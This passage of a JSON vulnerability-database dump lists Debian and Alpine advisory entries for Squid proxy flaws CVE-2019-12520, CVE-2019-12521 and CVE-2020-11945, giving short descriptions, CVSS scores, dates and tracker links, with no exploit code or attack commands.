"attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T20:15:00", "type": "debiancve", "title": "CVE-2019-12520", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12520"], "modified": "2020-04-15T20:15:00", "id": "DEBIANCVE:CVE-2019-12520", "href": "https://security-tracker.debian.org/tracker/CVE-2019-12520", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-12-03T15:24:43", "description": "An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 5.9, "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2020-04-15T19:15:00", "type": "debiancve", "title": "CVE-2019-12521", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "PARTIAL", "integrityImpact": "NONE", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-12521"], "modified": "2020-04-15T19:15:00", "id": "DEBIANCVE:CVE-2019-12521", "href": "https://security-tracker.debian.org/tracker/CVE-2019-12521", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:N/A:P"}}, {"lastseen": "2023-12-03T15:24:43", "description": "An issue was discovered in Squid before 5.0.2. A remote attacker can replay a sniffed Digest Authentication nonce to gain access to resources that are otherwise forbidden. This occurs because the attacker can overflow the nonce reference counter (a short integer). Remote code execution may occur if the pooled token credentials are freed (instead of replayed as valid credentials).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-23T15:15:00", "type": "debiancve", "title": "CVE-2020-11945", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-11945"], "modified": "2020-04-23T15:15:00", "id": "DEBIANCVE:CVE-2020-11945", "href": "https://security-tracker.debian.org/tracker/CVE-2020-11945", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "alpinelinux": [{"lastseen": "2023-12-03T16:03:21", "description": "An issue was discovered in Squid through 4.7. When Squid is parsing ESI, it keeps the ESI elements in ESIContext. ESIContext contains a buffer for holding a stack of ESIElements. When a new ESIElement is parsed, it is added via addStackElement. addStackElement has a check for the number of elements in this buffer, but it's off by 1, leading to a Heap Overflow of 1 element. The overflow is within the same structure so it can't affect adjacent memory blocks, and thus just leads to a crash while processing.", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "MEDIUM&qu